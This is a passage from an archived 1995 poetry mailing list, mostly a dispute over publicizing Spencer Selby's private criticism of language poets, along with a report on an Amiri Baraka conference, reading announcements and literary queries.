125. Jordan Davis
actionable jackson
Mon 13 Nov 1995

Mark,

What's up? If Spencer S (and thanks for the magazine list, Mr Selby) doesn't want to make his grievances public, then doesn't he have the right to that privacy? Granted, it's sad, but the release from irritation it affords you to bring _his slanders_ out may also bring you the fresh irritation of _libel_. I find myself constantly in such discussions with people _who will go unnamed_: discussions about the poisoning of the literary community by the language writers, discussions about the mediocrity of writing after (or starting with) language poetry, discussions about the hostility of younger writers to each other (and the disrespect for each other's work). Probably a healthier view (one that disregards the personal noxiousness of certain predecessors _who will go unnamed_) is that hey it's snowing! is that there was in fact a political/economic/social/spiritual change in the writing climate sometime between 1970 and 1990... and that the few opportunities to proliferate the work of poets who don't want to write like Mary Oliver became much fewer. Meanwhile, the language poets, who unlike their 4th gen NY school classmates, had no qualms about being ambitious, let alone about sending their work to editors they didn't know personally, found other previously unidentified routes to disseminate their work. That is, they sat on MLA panels, they published perfect bound books, they _worked their asses off_. The legendary personal hostility of certain language writers _we'll neglect to name_ to writers not of the camp of L is another matter. Selby's hostility, though, is another another matter. He publishes widely, until a few months ago he was a frequent

correspondent to the list, and it seemed from here that he was well-involved enough with poetry not to make the kind of attack (privately, we understand) that you say he has made. I used to make that kind of statement, and I'm afraid that the decreasing frequency of my attacks on the poetry establishment says something about _me_, about my _career_. I will note, though, that this is the second private fight you've publicized, and while I recognize that your motives are pure, I'm worried that other people will think something else. You're doing an awful lot. The reading series at Ruthless Grip brought in many more people on a rainy Saturday night for my reading with Bill Luoma than either Bill or I could have drawn in NY (and I hope you're not surprised to hear that) at the Ear, Biblios, St Mark's, etc. Situation is one of the _least_ careerist new magazines around (could you help me by explaining what you mean by "poetics of identity" as a must for poetry you print there? I can't quite figure it out). You come to this field of language from one of the most neglected directions--Burroughs--and you bring to it a clear (if paratactic) intelligent set of concerns. So I ask again, what's up?

Sincerely,
Jordan

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126. Gale Nelson
(no subject)
Mon 13 Nov 1995

Mark,

It sounds as though Spencer has some concerns about the state of poetry, but that he did not feel as though it would be in anyone's best interests for him to air these concerns publicly. Unless he's writing "nasty things" about you to the rest of the poetry community (and I'm not in that loop), then it sounds as though he is responding in a serious way to an article that you have written. If the dialogue is driven by his response to your article, then I would hope that the two of you would converse by mail or telephone (or some other fashion), airing to one another your ideas. If he's not interested in having those comments put before a larger community, then he may have his reasons: he may not want to hurt feelings, he may not feel that his position has "hardened" (and would prefer to consider his ideas for a longer period of time before making a public statement), he may be doing/thinking any number of things -- but among them was his desire to keep the discussion private. It seems clear that you have felt the need to take offense in a public manner; and now you've done so. The poets you've listed became publicly scorned by Spencer because you put them in a list

second-hand. At least some of those poets might have been just as happy not knowing [second hand] that Spencer is troubled by their motives.

Now, the unwilling Spencer may feel obliged to take a stand, rather than simply continue a private conversation with another poet. I'll certainly try to have a policy to keep everything public with you, Mark.

Cheers,

Gale Nelson

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127. **Alan Sondheim**
Re: your mail
Mon 13 Nov 1995

I wonder in terms of intellectual property laws, as well as slander/libel laws, if it is permissible to quote and/or to paraphrase what is obviously private email. We all have our relatively violent moments which we share either with friends or associates, however defined; there is trust in pri- vacy. I find it unethical to 'expose' private email publicly unless there is an overriding reason, such as threat of physical violence, etc.

Alan

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128. **Gwyn McVay**
Nathaniel Mackey
Mon 13 Nov 1995

Here is a quick and naive question re: Nathaniel Mackey that I'm hoping someone can answer: a) is _Song of the Andoumbolou_ "complete," inasmuch as such a thing is possible, or still in progress? --and-- b) Have the existing sections been published all together or gathered in the same place?

Thanks--

Gwyn McVay

↑ Index

129. **Larry Price**
yep & yep
Mon 13 Nov 1995

Ed:

What a terrific thought - I had forgotten that from Fenollosa, but you're quite right. Which makes me recall my consistent irritation over phonemic analysis, being as I always am, interested in that bleeding of one sound into another locus, not finally as other than, simply moments in the hearing of the same sound. While it is that blink of the ear that gives then, for me at least, the sense of time in the reading, or in the writing, I've always worked hard to dissect certain pieces, literally, glyph by glyph. For example, Sappho's "tina deute peitho mais agein es san philotata, tis o psaph, adikeiei," (forgive any missteps; dove sta, etc.) illustrates both sides of the issue, working as it does the athleticism of the consonants, while nonetheless maintaining the broad vocalic valleys which are then picked up in the following lines (the "kai gar ai feuge" delta that finishes the strophe. But the fact is, you're absolutely correct: when you do go down to the level of the letter, the oppositions completely disappear. Oddly, though, as I think about it, that does throw responsibility back to the reader, not so much to account for significations, but the other dimensions, the limning of, as above, time and the ways in which that gives over to the reader presence. The injunction to count them, those blinks of the ear, as either 1. lapses, 2. bursts of attention, or 3. switches between and what's occurring during the switch. Grenier's "Rose Appellate Project" comes to mind, as so much else there.

Larry Price

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130. Bill Luoma

a Subject

Mon 13 Nov 1995

---

mark,

i'm worried about your blood pressure. obviously spencer is right about point one. now langue poets are getting into the canyon. now they continue to publish their works and clog the narrowing dust lanes robbing younger good poets of a good chance to be heard unless they toady the cause. yes that makes their works tired. they are legitimized. they are like orpheus in cocteau's moovie. they need to etonnez nous if they want the younger crowd to really listen and not just kiss ass or poke around for historical reasons.

yes, languers have done a lot of silencing and selfing, claiming to be the only game in town e.g. i just heard of franz kamin a month ago and it's all your fault ron, charles and michael.

On the other hand they worked hard to promote their work with good marketing. i think it's done more to open up debate than quell it. so thankyou ron, charles, michael. :*/ big smooch with tongue.

spencer, like tony door who recently coined the phrase "sucking raisins out of Bruce Andrews' ass" to describe ear inn toadies, tends to be one to point to the emperor and remark on his bad fashion sense. you gotta love em for that.

Bill Luoma

↑ Index

131. RUSSELL ELIZABETH J
Re: your mail
Mon 13 Nov 1995

> *I wonder in terms of intellectual property laws, as well as slander/libel laws, if it is permissible to quote and/or to paraphrase what is obviously private email. We all have our relatively violent moments which we share either with friends or associates, however defined; there is trust in privacy. I find it unethical to 'expose' private email publicly unless there is an overriding reason, such as threat of physical violence, etc.*
>
> *Alan*

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132. Charles Smith
Re: Nathaniel Mackey
Mon 13 Nov 1995

<<Here is a quick and naive question re: Nathaniel Mackey that I'm hoping someone can answer: a) is _Song of the Andoumbolou_ "complete," inasmuch as such a thing is possible, or still in progress? --and-- b) Have the existing sections been published all together or gathered in the same place?

Thanks--

Gwyn McVay>>

Gwyn,

"S of A" is an on-going serial poem, potentially extensible for as long as Nate cares to continue writing it. Same goes for the prose. No, the existing sections haven't been published together. Like Duncan's work, they are deliberately worked into the larger context his other poems create. At this point, all the existing sections haven't even been published yet. He was up to something like #35 as of last spring. Hopefully, City Lights will see the way to doing another volume. Or someone...

You should check out, if you haven't yet, the CD _Strick: Song of the Andoumboulou 16-25_ where he is accompanied by Royal Hartigan on percussion & Hafez Modirzadeh on reeds. Excellent stuff, & well recorded. Hats off to Paul Naylor if he's reading this (& for his good essay in PMC). The CD is available from SPD, or from Spoken Engine Co., PO Box 771739, Memphis, TN 38177-1739.

all best,
charles

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133. Alan Sondheim
Re: a Subject
Mon 13 Nov 1995

Oh hell, help! I'm a poet and a really good writer and those damn language poets are stopping me from doing anything! Can't even get a rhyme up anymore and when I do, POW! Even my local Newspaper would rather Bernstein than me! I can't live like this, bang bang I'll shoot myself dead, that will show them!

And xerox, take that! They won't even copy my poems! Those Long-Po's are ruining everything!

Those Long Long Po's!

I mean get a life, start a magazine, self-publish, go and write, start a publishing co, other people I know have. This argument's old as the hills some of them trilobites complaining that the ones with longer lateral spines keeping them out of the really good tidepools...

Alan

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134. Alan Sondheim
Re: your mail
Mon 13 Nov 1995

Kewl.

On Mon, 13 Nov 1995, RUSSELL ELIZABETH J wrote:

> *I wonder in terms of intellectual property laws, as well as slander/libel laws, if it is permissible to quote and/or to paraphrase what is obviously private email. We all have our relatively violent moments which we share either with friends or associates, however defined; there is trust in pri-vacy. I find it unethical to 'expose' private email publicly unless there*

> *is an overriding reason, such as threat of physical violence, etc.*
>
> *Alan*

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135. Loss Glazier
Announcing Tinfish…online!
Mon 13 Nov 1995

Announcing ...
..+..
+ TINFISH----->

text & graphical files

are now ----- Online ------>

at the Electronic Poetry Center!

This magazine, edited by Susan Schultz in Honolulu, is a journal of experimental poetry with an emphasis on work from the Pacific region. Tinfish #1 presents work by Joe Balaz, Peter Kenneally, Kathy Dee, John Geraets, Rob Wilson, Spencer Selby, Yi Sha, John Kinsella, Lyn Hejinian, Barry K. K. Masuda, and John Tranter.

Have a look at the EPC (http://writing.upenn.edu/epc) under "journals"!

SUBSCRIPTIONS ARE WELCOME: Get Tinfish in your mailbox...before the online copy--and without the need for electricity!
Subscription information also available
at the Tinfish home page!

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136. Bill Luoma
Baa Fashion (fwd)
Mon 13 Nov 1995

>>
Forwarded message:
From: [redacted]_TEXT.PUB (Wyndam Lewis)
(HUGE Chat-Net)
(HUGE Chat-Net)
To: [redacted]
(Multiple recipients of list HUGE)
Date: 1956-11-13 16:33:08 EST

Note : An Unmanned of Distinction

There is a distinction between pointing to the emperor & saying, "What horrible clothes! Who's his tailor? That jacket went out of style when my great-gran-mama was 30; & those colors, well you'd have to be blind!" instead of saying, "NAKED!"

Let's do lunch. But which is better? I do not know. It depends on your interpretation. First, do the people who see the emperor think that he actually has clothes on? Have not some of them been brainwashed into thinking the emperor really has clothes? Can these people be convinced that the clothes they think they see are bad? Is this a worthwhile endevor?

"It is not vanity to have pulled from the air a live tradition"

I will chose to do both. The Emperor is imagining that he is wearing totally tasteless clothes of his own design. Whose thread bare fabrics are hideous & lack style. But not as the result of a devotion to bad style, but as the result of a complete ignorance of the concept itself.

The Emperor wears "nous" clothes & these duds are not of the "now."

More specifically, aside from Mac Low, Zukofsky, & Oppen, why can i not remember whom else they've suggested we read? Besides Franz Kamin, who had heard of Schwitters before Jerry R. did his book? who has heard of the Lettrests? {can i even spell it?} who knows the work of Chuck Stein {a plug for the Little Magazine on CD Rom--listen to Chuck Stein's piece, then listen to Charles Bernstein's--& draw your own conclusions[collusions] (or as they say at Rice, "add you own 'E's)}

Which, by a curious vicous of recircumlocution, brings us back to the Emperor's new clothes. The ones he sometimes has on (when HAVING them is an important step toward saint hood), & sometimes does not (when NOT HAVING them is a convenient way to avoid criticism.)

The Emperor is fickle & his clothes are bad.

He wears the attrocious garb of the self-aggrandizing. Isn't it curious that [to varying degrees] most {i did not say all--oddly enough} of the poets mostly associated by most of us, [&

rarely by only a few of them] with most of themselves; as constituting, if not a school, a group, nor even a poetic society, [why does no one EVER mention the word "community" when speaking of these poets?] at the very least a mutual [& extremely generous & uncritical] admiration society; are so extremely passive-aggressive?

Have i mentioned Miserly? Threadbare? Bankrupt?

Isn't it curious that the "second generation" {some would have it as "third"} has no direction in which to go? Could it be that they lack leadership? Lack role models? are torn in two directions? [The diametrically opposed directions of poet & toady?] Could it be . . . ? No, look at how helpful they have been to so many others--how encouraging they continue to be.

I propose this--Who so ever thought that they ever learned anything "Poetic" from a naked, raving dictator--"check your calculations. It still looks like a chicken coop from here."

Tony Door
Europe

↑ Index

137. **Jonathan Brannen**
Re: dunno but
Mon 13 Nov 1995

> *Date: Sat, 28 Oct 1995 10:05:28 -0400*
> *From: Chris Stroffolino <[redacted]>*
> *Subject: Re: & Ralph Waldo*
>
> *(continued from last note--which ended with FOR WHAT?)*
> *or FOR WHOM? cs*
>
> *Chris--*
>
> *Certainly the good doctor bad insurance claims investigator (does anybody out there remember Johnny Dollar on Saturday afternoon radio?!?) is just silly. I didn't say that though perhaps (?) Jonathan did.*

Chris & Tenney,

Surely nothing I've said has suggested that I have a favorable opinion of the medical profession.

Best,
Jonathan

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138. **Carla Billitteri**
Friday Lecture and Saturday Reading (in Buffalo, N.Y.)
Mon 13 Nov 1995

---

l l l e e e c c c t t t u u u r r r e e e
)_L_( )_E_( )_C_( )_T_( )_U_( )_R_( )_E_(
l e c t u r e

Charles Cantalupo
(Associate Professor of English at Penn State Univ.)

"AFRICAN FOREGROUNDS AND THE EXAMPLE OF NGUGI WA THIONG'O"

A lecture on the Kenyan novelist and essayist Ngugi wa Thiong'o

11:00 A.M.
Friday, November 17
Clemens 410

r e a d i n g
)_R_( )_E_( )_A_( )_D_( )_I_( )_N_( )_G_(
r r r e e e a a a d d d i i i n n n g g g

Robert Fitterman

&

Charles Cantalupo

7:30 P.M.
Saturday, November 18
Central Park Grill (2519 Main St.)
$4

Robert Fitterman is the author of _Ameresque_ and _Metropolis_ and is co-editor of the journal _Object_

Charles Cantalupo is the author of
Anima/l Wo/man and Other Spirits
and the poetry-performance cycle _After Africa_

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139. **Jonathan Brannen**
Re: Wallace and fiscal poetry
Mon 13 Nov 1995

> *jonathan: back to the money/poetry/stevens matrix. wd this be interesting to pursue further--siena, the medicis, alchemy, plato, poetry, all those astonishing links such that a + b equals more than c. it won'y make*

> *friends but can make interest. stevens was not taking about money as machinery but as magic. -ed*

Yo! Ed,

I'm not opposed to transforming a little lead. Then I've always believed that poetry has been hypertext longer than computers have been computers. Go figure!

Best,
Jonathan

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140. Steve Carll
Re: trouble
Mon 13 Nov 1995

Mark:

How are we supposed to comment on this argument when we only have your representation of Spencer's position in it? I know Spencer well enough to be aware of his general ideas about this subject, and it seems to me you're reading them reductively, polarizing them; but without knowing what he actually said to you, I'd only be reacting to hearsay.

While I can sympathize with your offended integrity, I wonder if you haven't struck it a worse blow yourself by choosing this forum and this tactic to make your case.

Steve

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141. Patrick Phillips
Re: trouble
Mon 13 Nov 1995

Somebody tell me, what's all this stuff about integrity?

Whose?

And what the hell is "the integrity of poetry???"

I'd be willing to give somebody five bucks if they could honestly tell me.

- standing offer.

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142. Aldon L. Nielsen
Baraka Conference
Tue 14 Nov 1995

I can't take the time to give as full a summary of last week's Baraka conference as we've had of other events recently, but here's a taste --

That this happened at all is something of a minor miracle. There was no funding to be had easily, though there seems to be plenty of money for multiple celebrations of a whitened BEAT millenium. As a result, everything, including my own arrival, was late.

So, following Baraka's 61st birthday, the Schomburg Library in New York hosted a 60th birthday conference on the work of Amiri Baraka.

I can't tell you anything of the first panel, as I was just arriving at LaGuardia when it began. But then, Baraka wasn't there yet either. Kalamu Ya Salaam and William Strikland were scheduled to speak about Baraka's political activites, and Charles Bernstein, who was there for part of it, tells me they seemed determined to do so without any reference to his writings. Neat trick.

Things started picking up with the second session, on Baraka's drama. Baraka had, by now, arrived. Eleanor Traylor, Marjorie Perloff's running buddy in grad. school days, made her usual highly dramatic statement, articulated with waves of her feathered sleeves. (The Schomburg staff continued to find these feathers floating about the collection for days afterward, signs of Eleanor's having been through the manuscript room.) Eleanor had also throughly composed her inteview questions for Baraka, and they amounted to miniature essays delivered as if they were sermonettes. But, her questions were very much to the point, and Baraka answered them with good humor.

By the time we had had lunch, the sessions were back on schedule and it was time for me to say a few words about Baraka's fiction and to handle the interview on that material. If you've tried to find Baraka's fiction lately, you know what part of the problem is here. I spoke briefly about the development of African-American postmodernisms, using uncollected Baraka prose works from _Yugen_ , _Kulchur_ and from his manuscripts to illustrate my points. Also asked him about the "populist modernism" he speaks of in his introduction to his fiction anthology _The Moderns_. My favorite moment was our reading of a letter from the then editor in chief of Putnams about the novel Baraka was writing under contract for them in the early seventies. They seemed to think they would get a sort of black _Godfather_, a triumphalist (and realist) narrative of a rise from the ghetto (with lots of blood along the way I suppose). Clearly they had never read his previous novel, _The System of Dante's Hell_.

That evening was given over to a literary tribute, with scheduled readings by Haki Madhabuti and Sonia Sanchez. No news here (except for the news that Baraka and Madhabuti are now speaking to each other again). No new work appeared, but the readings were well delivered. (You can probably tell I'm not a big fan of these two. If you like their work, you would have liked their reading.) The surprise was an unscheduled appearance of Baraka reading with a jazz ensemble named Blue Ark. This turned out much better than other such productions in the past. Much better than anything Baraka himself has done since his performances with David Murray and Steve McCall more than a decade ago. Less agit prop and more poetry of the type we've seen from Baraka in _Sulfur_ and other mags recently.

Saturday morning the panel dealt with Baraka's music criticism and his own recordings. Kalamu Ya Salaam talked about Baraka's now hard to find albums. Lorenzo Thomas provided a walking tour of _Blues People_ and was his usual charming self. This turned into the longest and most wide-ranging interview of the conference.

Saturday afternoon was given over to talk of the poetry itself, though few questions got asked about poetics. (Ain't that always the way.) Sonia Sanchez was on this panel, but mostly she just read her own poems and told anecdotes about meeting Baraka (good anecdotes, I hasten to add). William J. Harris had much more cogent remarks to make about the poetry. If you have never looked at it, read his 1985 book on Baraka's poetry and jazz aesthetics. (Harris was one of the first writers on Baraka to read through Baraka's correspondence with Dorn, Olson and others. It's still a good book he wrote, though now a bit dated.) There were, of course, questions from the audience of the "where do you get your ideas" sort, but there were also some very good questions asked by very young people.

The final event was a retrospective reading by Baraka that was recorded for possible release as a CD later on. (Kalamu is working on that project and should do a good job.) The early poems were magnificent. Some of the more recent poems were magnificent. And then there was some crap in the middle. Baraka mentioned that he had been called antisemitic and anti-gay in response to some of those late-sixties and early-seventies poems, and found an unseemly humor in that fact. He has written scathing criticism of his own cultural nationalism from those years elsewhere, and maybe he didn't want to repeat that at his own retrospect -- but I wished he were less apologetic about his earliest poems and more apologetic about some of the nationalist work -- particularly since he takes such a strongly antinationalist line today -- (and when, if ever, will anyone hold Dorn responsible for his antisemitic remarks over the years?!?)

But it began and ended (the reading) with impressive work impressively delivered. If you look at some of the "Why's" poems in the new selected, or the recent stuff in _Sulfur_ issues, you'll see that there's still some interesting work coming out of that typewriter in between plays like that wretched "Tarzan and Boy Appear in a Clearing" --

The entire series was videotaped, and that material will soon be available for people to look at in the Schomburg collection. If you've never been there, get on that #2 subway and pay a visit. It's one of the major collections of African-American materials (including 5000 films and videos) available to scholars in the U.S. -- Much of the collection is indexed on the New York Public Library's CATNYP system, which you can access, I think, through the NYPL web site:

http://www.nypl.org

There are about 200 pages of uncollected Baraka poems in ms. at the Schomburg, which they are just now beginning to process and make available.

Meanwhile, get _Transbluesency: Selected Poems of Amiri Baraka_ edited by Paul Vangelisti, and play some good music while you read around in it -- Try _Impressions_ while reading "I Substitute for the Dead Lecturer" for example. And next time you're at one of those BEAT retrospectives, ask somebody where all the black poets and painters are --

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143. Aldon L. Nielsen
Re: integrity
Tue 14 Nov 1995

Mr. Phillips -- send $5.00 and I will tell you about the integrity of poetry. Trust me!

Anybody else who wants to know about this, just send the five bucks. It's not much to ask.

yours,
soupy sales

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144. Jeffrey Timmons
Re: trouble
Tue 14 Nov 1995

On Mon, 13 Nov 1995, Patrick Phillips wrote:

> *Somebody tell me, what's all this stuff about integrity?>*
> *Whose?*

> *And what the hell is "the integrity of poetry???"*
> *I'd be willing to give somebody five bucks if they could honestly tell me.*
> *- standing offer.*

Uh, a dandruff shampoo?

Jeffrey Timmons

↑ Index

145. James Sherry
Re: POETICS Digest - 12 Nov 1995 to 13 Nov 1995
Tue 14 Nov 1995

-Should we evaluate language writing and Spencer Selby on their own terms or -should we evaluate them on each other's terms or -should we evaluate them on some third set of terms dictated by assumptions but unvoiced.

Can you each say how you evaluated each and the question?

Is there an unbreachable discrepancy between quality and career or is it more complicated? They are not synonyms, but they are not antonyms either.

If we are not writing for our careers, who or what are we writing for?

Does the aim of our writing make is better or worse as writing?

Does the aim of our writing have anything to do with its value?

Ron has made some significant contributions to questions of poetry and value. So has Ann Lauterbach. Others have made significant although covert contributions.

James

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146. Jordan Davis
the aim of our poetry
Tue 14 Nov 1995

I think Mark was taking aim at poetry.

Jordan

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147. **Fred Muratori**

Crybaby Poetry?

Tue 14 Nov 1995

> *I find Spencer's comments, and his insults to my integrity, offensive and pernicious in the worst way. I find his maligning of a great number of committed and concerned poets to be completely lacking in evidence, and to be untrue. I believe that his refusal to debate me publicly is based on his awareness that his claims are pernicious and even potentially legally actionable.*
>
> *I believe that the private assault he is making on the character and activites of a wide range of experimental poets needs to be made public.*
>
> *Mark Wallace*

Could this be? Is LangPo now entering the era of Late-LangPo, its final, decadent, crybaby phase? Insults may have indeed been perpetrated, but since when is it out-of-bounds to challenge or criticize or just plain insult the work of any poet or school of poetry? And since when could a debate settle such subjective matters as aesthetic preference? ("Yes, your logic is overwhelming. I now appreciate the awesome implications of Edgar Guest's verse.") The mainstream -- however so defined by historical moment -- has absorbed "pernicious" criticism for years. That's the inevitable consequence when an entity acquires -- or is perceived to have acquired -- power. ("If you got it, flaunt it.") It's news to me that literary criticism or accusations of careerism could be "legally actionable." Much as I appreciate and admire LangPo, I doubt that its practitioners and promoters can claim any divine dispensation from criticism and insult, no moreso than New Formalists or any other category we can conveniently assign to a group of poets. As always, the poets most likely to get screwed/silenced by existing power centers are those who are aligned with none.

Please, let's direct our attention to more adult matters, like the current discourse between Congress and Clinton over the federal budget.

****

Fred Muratori

([redacted])

Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853

"Certain themes are incurable."

- Lyn Hejinian

****

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148. **Jeff Hansen**
None
Tue 14 Nov 1995

Mark Wallace's post about Selby's accusations is timely. Many are making similar claims.

1. To argue that the Language poets invented self-promotion and careerism is ridiculous. Has anyone out there heard of Walt Whitman writing reviews of his own books? And what about the promotional efforts of Pound, Stein, Olson, Ginsberg, Baraka, etc.? One may argue that the Language poets, unlike these others, let market affairs infect their poetry, so that the poetry became sullied by careerism to a degree unheard of before. There are a lot of Language poets, so I can't discuss all of them. But I do find it interesting that two so-called Language poets, Bernstein and Perelman, have, for the first time to my knowledge, thematized the relationship between promotion/PR and poetry in poems such as "Lives of the Toll Takers." Could they be suffering at the hands of the Selbys because they have been too honest, too willing to explore the less-than-rigid line between PR and aesthetics? They both suggest, compellingly, that poetry cannot be separated from the efforts to get it public attention. They say this about not only their poetry, but everyone else's as well. I suggest that this honesty, coupled with jealousy at their success, is at the core of these sorts of attacks.

2. What is wrong with self-promotion? A writer would have to be a masochist to publish and not to publicize. I want a wider audience, and, so long as I do not violate my aesthetic principles, I will do what I can to get it. It seems to me that Selby's line of argument supposes that, because the system is corrupt, any success must also be corrupt. Would [redacted]"

3. Where is the line at which self-promotion sullies the poetry? Such a question can be answered only on a case-by-case basis. But wholesale rejection and judgment of the way whole groups of poets have negotiated this difficult terrain is not helpful.

4. To attack Bernstein as a careerist ignores all the good that he has done all poets. Note this list. And the contributions he has made to poetry as the Grey Chair at Buffalo. Charles is not resting on his laurels nor using his position simply for crass personal advancement. Quite to the contrary. He has helped all of us. To not recognize this is to be profoundly ungrateful. I'm glad that an individual as generous as he has been so successful.

5. Selby has three full-length collections of poetry out. I have some chapbooks, but no collections. He calls me a careerist. Look at the evidence. Who is the real careerist? How did you manage to get your books published, Spencer?

↑ Index

149. **Chris Stroffolino**
(no subject)
Tue 14 Nov 1995

"Much Virtue in An "IF"----Shakespeare, AS YOU LIKE IT, act 5--

Well, Mark--
IF Spencer said that I was second-rate and
IF Specncer said that I am a careerist
who just sucks up to the powerful and
IF he also said that I therefore have no integrity,
THEN it no do doubt becomes quite bizarre that he would
have asked me to blurb his last book------
signed, a fiend (i mean friend---much virtue in an R).

↑ Index

150. **Edward Foster**
Re: yep & yep
Tue 14 Nov 1995

---

larry: in this matter, i've been back with whitman this morning, thinking about that particular movement and why it was open to revision and expansion. stein is equally emersonian but never frees herself from chronology, i think, but later work

stanzas in meditation, maybe. others, early ginsberg for instance, work through increment, and that's of course not it either. fenolossa was too much a philosopher, wanted conclusions i suppose. whitman's mystery as a poet is his ability to maintain syntax but not submit to discrete letters. so many have tried, in his wake, but fail. -ed

↑ Index

151. **Charles Alexander**
Re: None (or any) (or some)
Tue 14 Nov 1995

Re: careerism, poetry, publishing.

During 15 years of making books, publishing them in one form or another, I have been called a careerist because on a couple of occasions I have published my own work. I have also been called one because I have published work I like by poets I like. Frankly, I wouldn't want it any other way. It has been suggested to me, from some in the nonprofit sector, that I should not choose the books I publish, rather should have a non-partisan and diverse editorial board make such choices. If I had to do that, I wouldn't do the work at all. I've also been criticized because I've actually tried to promote the books (and most of you probably know I haven't done all that much in that area). I plead guilty. And I can tell you what a pleasure it has been on occasion (all too few) to publish something by a writer who worked really hard to get her/his books reviewed, to get readings, to get the books into stores, to get their friends and admirers to buy them. Damn that careerism.

I've also tried to find employment or gain fellowships, and have been offered some, on occasion, related to my writing and/or publishing and/or bookmaking efforts. I thought I did this to try to make sure I helped provide, along with my spouse, such things as food, shelter, health care, and more, to my family (believe me, I'd love NOT to need such jobs, but I've never been in that position). It hasn't hurt, on such occasions, to have recommendations from people who could put them on letterhead that mattered to whatever employers or granters saw them. Damn me and damn those letter writers for such careerism.

Although I criticize here certain attitudes, let me say that I have great respect for Spencer Selby and, at the moment, little respect for Mark Wallace and his decision to make a private matter become a public matter. Spencer has done great work through his organization of readings, his publishing, and his writing. That he and Mark differ in many opinions, even to the point of difficult emotional argument, is not surprising. Spencer and I probably differ in such ways, too. But to bring the bitterest part of such argument to public knowledge without one participant's consent is something I find extremely distasteful.

Please get on with your poetries, and your careers.

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

152. **Edward Foster**
Re: Wallace and fiscal poetry
Tue 14 Nov 1995

---

oh, jonathan! hypertext indeed. it's time for a little homebrew. no figures, just fun. or maybe satie-faction. -ed

↑ Index

153. **Edward Foster**
Re: integrity
Tue 14 Nov 1995

---

aldon, $5 is too much. I can do it for $2. according to this morning's times, "Jerset City Officers Are Accused / Of Turning Stolen Cars to Profit." (that's "Jersey" City, sorry about mistyping, these fingers are so slippery) The possibility of corruption in my home town. Oh, my god, i could barely finish lunch.

↑ Index

154. **Jordan Davis**
concreet letters
Tue 14 Nov 1995

---

whitman's mystery as a poet is his ability to maintain syntax but not submit to discrete letters. so many have tried, in his wake, but fail. -ed

Ed,
this sounds amazing. What, though, are discrete letters?
Jordan

↑ Index

155. **Kevin Killian**
snarl
Tue 14 Nov 1995

Chris Stroffolino wrote:

> *"Much Virtue in An "IF"----Shakespeare, AS YOU LIKE IT, act 5--*
>
> *Well, Mark--*
> *IF Spencer said that I was second-rate and*
> *IF Specncer said that I am a careerist*
> *who just sucks up to the powerful and*
> *IF he also said that I therefore have no integrity,*
> *THEN it no do doubt becomes quite bizarre that he would*

> *have asked me to blurb his last book------*
> *signed, a fiend (i mean friend---much virtue in an R).*

Your point is well taken, Chris. You're not the only one on second-rate careerist list to have treated Spencer with friendship and generosity. Here's what I wrote to Mark PRIVATELY:

"Kevin let me read your post to him, and told me to read your message on the listserv (I haven't been following the discussions there lately). People are going to be afraid to write to you, Mark, though I am enjoying your stirring up of things. I think Kevin's holding on his opinion until Spencer, who Kevin's always been very nice and supportive of, makes some kind of response. Biting the hand that feeds you is too common a practice among writers. I've recently been majorly bitten, chewed by Cudjo, so this is on my mind. I did similar attacks when I was younger and impatient that others give me the recognition I couldn't even give myself, but Spencer is old and should know better. Kevin is always telling me that love is its own reward and that you shouldn't expect or demand gratitude--and, over and over, Mark, this is the only option one has out of the soul-destroying type of bitterness you're describing here."

Dodie Bellamy

↑ Index

156. Eryque Gleason
look who's talking
Tue 14 Nov 1995

> *post it in the EPC. At least then we might all know what we're talking about.*
>
> *Ken Sherwood*

Ken, what's the fun in knowing what we're talking about? i've found it makes it much harder to get into heated arguments when you level the field like that....

eryque the red.

↑ Index

157. Janet S. Gray
Need help identifying a poem
Tue 14 Nov 1995

Just joined this list, looking for help with a poetry puzzle. I'm editing an anthology of 19th-c American women poets, and I've run across two poems that I'm convinced are take-offs on the same poem, but I don't know what the poem is. Hunches are that the original may not be in English; that it may be classical,

and there may have been a popular new translation of this poet in the late 19th century. People have already tried to talk me out of this theory but I'm not convinced. Would love to hear from any who recognize the two- quatrain pastoral (probably) behind this pair or can suggest where I might turn.

MOONRISE IN THE ROCKIES

The trembling train clings to the leaning wall
  Of solid stone; a thousand feet below
Sinks a black gulf; the sky hangs like a pall
  Upon the peaks of everlasting snow.

Then of a sudden springs a rim of light,
  Curved like a silver sickle. High and higher--
Till the full moon burns on the breast of night
  And a million firs stand tipped with lucent fire.

--Ella Higginson, 1898

A PASTORAL IN POSTERS

The mid-day moon lights up the rocky sky;
  The great hills flutter in the greenish breeze;
While far above the lowing turtles fly
  And light upon the pinky-purple trees.

The gleaming trill of jagged, feathered rocks
  I hear with glee as swift I fly away,
And over waves of subtle woolly flocks
  Crashes the breaking day!

--Carolyn Wells, 1900

Higginson's version especially makes me think of Sappho, but I can't find a Sappho poem that does.

Janet Gray [redacted]

↑ Index

158. Kenneth Sherwood
Dominance of Lang. Po. / Wallace
Tue 14 Nov 1995

I too have had a private corr with Wallace over Lang Po dominance and the recuperability of trad forms, just to out myself as painlessly as possible. Find it hard, still, to find the dominance in the work since never can pin down the 'center' (even mediated thru anthol.s like Amer Tree or Art Practice) sure enough see how this is even could be dominant.

Compare John Taggart's "if we stop long enough we'll be gathered brought together by the voice" with "erratums for the tummy La La Ta tin erratum neuter past errare all" of Joan Retallack. These two lines drawn almost at random from the latests 'canonizing' lang po anthology seem canyons apart.

Whatever the "quality" of the work on some grade-scale, it does seem to have a range. Like "objectivism" (a term never meant to represent a 'movement' or group), lang po seems most useful as a homogenzing label slung aroung by those who didn't want to read any in the first place. (Not you Mark, I know.)

Calling the works of lang po hegemonic seems to rely on the same homogenizing mypoic that would see "contemporary" art as limited because only involved with flat surface and form.

More, without getting personal, it might be useful to talk about poems or the work of particular poets rather than the Lang. Po. bogey man.

p.s. Mark--if you want this debate, perhaps you want to share yr essay from Poetic Briefs with the list, or send it to me and I'll post it in the EPC. At least then we might all know what we're talking about.

Ken Sherwood

↑ Index

159. Jordan Davis
Re: Dominance of Lang. Po. / Wallace
Tue 14 Nov 1995

I'm interested in the recurrence of the term "hegemony" on this list. Not to raise the spectre of the AHP (and will the authors of the AHP posts ever be outed?) but what are the symptoms of hegemony?

Jordan

↑ Index

160. Marc L. Weber
announcement of new lit. mag. available on-line
Tue 14 Nov 1995

If you (or anyone you forward this message too) want a copy in HTML format just drop me a note at [redacted] and ask for a copy of SUGAR MULE #1. I will have a WWW site sometime next year. (For others reading this--the hard copy will require a handling fee--inquire for address.)

The mag in brief could be described thusly:

